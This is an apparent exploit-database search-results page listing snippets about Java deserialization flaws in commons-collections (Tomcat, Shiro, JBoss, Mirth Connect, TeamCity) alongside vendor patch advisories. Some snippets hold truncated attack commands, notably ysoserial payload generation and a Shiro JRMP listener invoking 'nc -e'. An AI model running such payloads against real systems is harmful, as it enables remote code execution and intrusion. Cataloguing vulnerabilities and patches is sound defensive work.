565 matches found
CVE-2020-9484
CVE-2020-9484 用Kali 2.0复现Apache Tomcat Session反序列化代码执行漏洞 CVE-2020-9484 环境： 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp是s2-053，在其lib下加了commons-collections4-4.0.jar） 启动 /yourtomcatdir/bin/startup.sh 生成payload java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch...
ysoserial
ysoserial Una herramienta de prueba de concepto para generar payloads que explotan la deserialización insegura de objetos Java. Descripción Publicado originalmente como parte de la charla AppSecCali 2015 "Marshalling Pickles: cómo deserializar objetos arruinará tu día" con cadenas de gadgets para...
CVE-2017-7525-Jackson-Deserialization-Lab
CVE-2017-7525 Laboratorio de Deserialización Insegura en Java Aplicación Java REST básica vulnerable a Deserialización Insegura, que conduce a RCE. El proyecto debe ejecutarse en Java 8u45 Basado en Maven con las siguientes dependencias: jackson-databind 2.2.2 commons-collections 3.1...
Jboss_JMXInvokerServlet_Deserialization_RCE
JbossJMXInvokerServletDeserializationRCE Uso de Burp Suite para explotar la vulnerabilidad de deserialización de Java 0x01 Montar la vulnerabilidad de deserialización de Jboss JMXInvokerServlet Entorno de prueba: Vulnerabilidad de deserialización de JBoss JMXInvokerServlet Principio de la...
SHIRO-550
Vulnerabilidad de deserialización de Shiro RememberMe 1.2.4（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...
CVE-2023-43208
CVE-2023-43208 — Mirth Connect 远程代码执行RCE 针对 CVE-2023-43208 的概念验证利用程序，该漏洞是 Mirth Connect 版本低于 4.4.1 中的一个未经认证的远程代码执行漏洞。 描述 Mirth Connect 是一个广泛部署的开源医疗集成引擎。该漏洞利用 /api/users 端点的 Java 反序列化缺陷，通过精心构造的 XML 负载链式调用 Apache Commons Collections gadget 实现未经认证的远程代码执行。 增强版本将原始的 pwncat 监听器替换为完全无依赖的交互式 PTY Shell，仅使...
Red Hat JBoss - Insecure Deserialization
Red Hat JBoss Application Server 4.x, 5.x, 6.x contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apach...
CVE-2025-24813
CVE-2025-24813 Tomcat PoC PoC para un entorno CTF/laboratorio autorizado. Explota CVE-2025-24813 mediante la escritura PUT parcial de un archivo de sesión de Tomcat, y luego desencadena la deserialización con JSESSIONID. Requisitos previos Python 3 Módulo Python requests Java JDK java y javac El...
CVE-2025-24813
CVE-2025-24813 Descripción Este repositorio pretende proporcionar instrucciones claras para el despliegue rápido de Tomcat v9.0.90 con java 25.0.1 2025-10-21 LTS en Windows Server 2019 Standard para un ejercicio de emulación de amenazas de ciberseguridad. El exploit.py utiliza ysoserial-all.jar...
CVE-2015-6420
CVE-2015-6420 反序列化漏洞 参考 Java反序列化漏洞-CC 利用链分析...
Rocky Linux 8 [CIQ] Security Update: apache-commons-collections / apache-commons-lang / bea-stax-api / etc Multiple Vulnerabilities (crlba-2019_3416)
The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlba-20193416 advisory. For detailed information on changes in this release, see the Rocky Linux 8.1 Release Notes linked from the References section. This advisory is provided by...
CLSA-2026-1789362482 TuxCare security update for commons-collections:commons-collections (1 CVE)
TuxCare rebuilt commons-collections:commons-collections to address 1 CVE. Fixed in 3.1-tuxcare.1...
PT-2026-97737
TuxCare rebuilt commons-collections:commons-collections to address 1 CVE. Fixed in 3.1-tuxcare.1...
...[ More ]
This Metasploit module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response that causes TeamCity to deserialize an attacker-controlled object graph. T...
CLSA-2026-1778114665 TuxCare security update for commons-collections (1 CVE)
TuxCare rebuilt 2 commons-collections packages to address 1 CVE. Fixed in 3.2-tuxcare.1...
CLSA-2026-1777509604 TuxCare security update for commons-collections (1 CVE)
TuxCare rebuilt 2 commons-collections packages to address 1 CVE. Fixed in 3.2.1-tuxcare.1...
ROOT-APP-MAVEN-CVE-2015-7501 CVE-2015-7501 in commons-collections:commons-collections - Patched by Root
Root has patched CVE-2015-7501 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...
ROOT-APP-MAVEN-CVE-2015-6420 CVE-2015-6420 in commons-collections:commons-collections - Patched by Root
Root has patched CVE-2015-6420 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...